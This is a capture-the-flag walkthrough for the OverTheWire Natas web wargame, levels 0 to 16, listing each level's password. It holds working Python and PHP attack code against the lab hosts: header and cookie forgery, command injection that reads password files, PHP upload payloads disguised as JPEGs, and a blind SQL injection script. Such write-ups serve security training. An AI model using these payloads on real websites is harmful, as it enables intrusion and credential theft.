Link to Natas: overthewire.org/wargames/na…
Level 0
Password is given directly in the question's page:
Username: natas0
Password: natas0
复制代码
Level 1
View the html source and notice this line: <!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
复制代码
Level 2
The rightclicking is disable, we can use the browser's keyboard shortcuts to view the html source, e.g. Ctrl+U
for chrome. We see the line as below in the html source: <!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
复制代码
Level 3
View the html source and notice this line: <img src="files/pixel.png">
Try a Directory Traversal over natas2.natas.labs.overthewire.org/files/:
Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
复制代码
Level 4
View the html source and notice the tips: <!-- No more information leaks!! Not even Google will find it this time... -->
Looks like it's relative with the Robots exclusion standard. Access natas3.natas.labs.overthewire.org/robots.txt and this's what we get:
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
复制代码
Level 5
According to the tips:
Access disallowed. You are visiting from "" while authorized users should come only from "natas5.natas.labs.overthewire.org/"
Guess it's about the 'Referer' header. The solution is as below:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
natas4_url = 'http://natas4.natas.labs.overthewire.org'
user = 'natas4'
psw = 'Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ'
auth = HTTPBasicAuth(user, psw)
headers = {'Referer': 'http://natas5.natas.labs.overthewire.org/'}
print requests.get(natas4_url, auth=auth, headers=headers).content
复制代码
Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
复制代码
Level 6
Tips is as below:
Access disallowed. You are not logged in
'logged in' is always about cookie, just view the cookie header in the request:
There's a field named 'loggedin'! We just set it to 'loggedin=1' and send the request. Solution is as below:# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas5.natas.labs.overthewire.org'
auth = HTTPBasicAuth('natas5', 'iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq')
headers = {'Cookie': 'loggedin=1'}
print requests.get(url, auth=auth, headers=headers).content
复制代码
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
复制代码
Level 7
Click 'View sourcecode' to view the source code:
Access the 'includes/secret.inc' file: Just submit the secret and bingo:Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
复制代码
Level 8
View the html source:
We can pass a GET parameter named 'page' to view a page, just try some tricky ones, e.g. ' natas7.natas.labs.overthewire.org/?page=xxx', what we get is as below: According to the warning message, we can acknowledge the the server end would just show us the content of the file specified by the 'page' given by the url. Just access natas7.natas.labs.overthewire.org/?page=/etc/… and get the password:Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
复制代码
Level 9
Click ‘View sourcecode’ to view the source code:
Just reverse the simple encrypt algorithm:<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>
复制代码
Run the code which results in 'oubWYf2kBq', this is the 'Input secret', submit to get the password.
Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
复制代码
Level 10
Server end source code is as below:
According to level 8, the password is stored in the file '/etc/natas_webpass/natas10'. Submit[a-z] /etc/natas_webpass/natas10 #
to form a command
grep -i [a-z] /etc/natas_webpass/natas10 # dictionary.txt
which would show us the content in '/etc/natas_webpass/natas10'.
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
复制代码
Level 11
Comparing with Level 10, we can submit a ';','|' or '&' in this level. Actually we didn't use this characters in level 10. Same as level 10, submit [a-z] /etc/natas_webpass/natas11 #
is ok.
Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
复制代码
Level 12
View the source code and we get our target is to make $data["showpassword"] == "yes"
. The $data
object is loaded by:
$_COOKIE['data']
can be set via a http
Cookie
header provided by the client. If we construct a
Cookie
which can be decoded by
xor_encrypt(base64_decode($_COOKIE["data"]))
into something like
{"showpassword":"yes","bgcolor":"#ffffff"}
, we can get the password. Deep into the code of
xor_encrypt()
:
The
$key
is unknown. But look at the
saveData()
function:
The response cookie is encrypted by
xor_encrypt()
. In the code above,
$d
is the
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
. Because it's a
xor
encryption, it's easy to get the $key by:
<?php
$text = '{"showpassword":"no","bgcolor":"#ffffff"}';
$outText = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw");
$key = "";
for($i=0;$i<strlen($text);$i++)
$key .= $outText[$i] ^ $text[$i % strlen($text)];
echo $key;
?>
// result: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
复制代码
Thus the $key
is qw8J
. Next just construct our payload:
<?php
$text = '{"showpassword":"yes","bgcolor":"#ffffff"}';
$key = "qw8J";
$outText = "";
for($i=0;$i<strlen($text);$i++)
$outText .= $text[$i] ^ $key[$i % strlen($key)];
$payload = base64_encode($outText);
echo $payload;
?>
// result: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
复制代码
Final solution:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas11.natas.labs.overthewire.org'
user = 'natas11'
psw = 'U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK'
auth = HTTPBasicAuth(user, psw)
headers = {'Cookie': 'data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK'}
print requests.get(url, auth=auth, headers=headers).content
复制代码
Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
复制代码
Level 13
In this level, we can upload any file with size less than 1KB. We can upload a php with the code below to show us the pass word:
// natas13.php
<?php
echo file_get_contents( "/etc/natas_webpass/natas13" );
?>
复制代码
Because the default filename of the uploaded file ends with .jpg
, in order to make it interpreted by the php interpreter, we must make the uploaded file a .php
extension. The solution:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas12.natas.labs.overthewire.org'
user = 'natas12'
psw = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3'
auth = HTTPBasicAuth(user, psw)
files = {'uploadedfile': open('natas13.php','rb')}
values = {'filename': 'natas13.php'}
print requests.post(url, files=files, data=values, auth=auth).content
复制代码
Run the code above, it gives back the url of the uploaded file, access it via browser to obtain the password.
Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
复制代码
Level 14
Compare to level 13, this level use exif_imagetype()
to ensure the uploaded file is an image. It's easy to bypass exif_imagetype()
by adding a JPEG header to the uploaded file. Talk is cheap:
# -*- coding: utf-8 -*-
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas13.natas.labs.overthewire.org'
user = 'natas13'
psw = 'jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY'
auth = HTTPBasicAuth(user, psw)
with open('natas14.php', 'wb') as f:
f.write('\xFF\xD8\xFF\xE0<?php echo file_get_contents( "/etc/natas_webpass/natas14" ); ?>')
files = {'uploadedfile': open('natas14.php','rb')}
values = {'filename': 'natas14.php'}
print requests.post(url, files=files, data=values, auth=auth).content
复制代码
Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
复制代码
Level 15
A simple SQL injection, provide a username natas15"#
to construct a query string SELECT * from users where username="natas15"#" and password=""
to bypass the password checking.
Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
复制代码
Level 16
Another SQL injection, usually called blind injection
. Think about the following query string:
SELECT * from users where username="natas16" and password like "a%" COLLATE latin1_bin
复制代码
If there's a user with name "natas16" and password starting with "a", we will get This user exists
, otherwise we get This user doesn't exist
. Talk is cheap:
# -*- coding: utf-8 -*-
import requests
import string
from requests.auth import HTTPBasicAuth
url = 'http://natas15.natas.labs.overthewire.org'
user = 'natas15'
psw = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
auth = HTTPBasicAuth(user, psw)
d = string.letters + string.digits
password = ''
while len(password) < 32:
for c in d:
current_password = password + c
print current_password
data = {'username': 'natas16" and password like "%s%%" COLLATE latin1_bin#' % current_password}
resp = requests.post(url, auth=auth, data=data).content
if 'This user exists' in resp:
password = password + c
break
print password
复制代码
Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
复制代码
Level 17
TO BE CONTINUED ...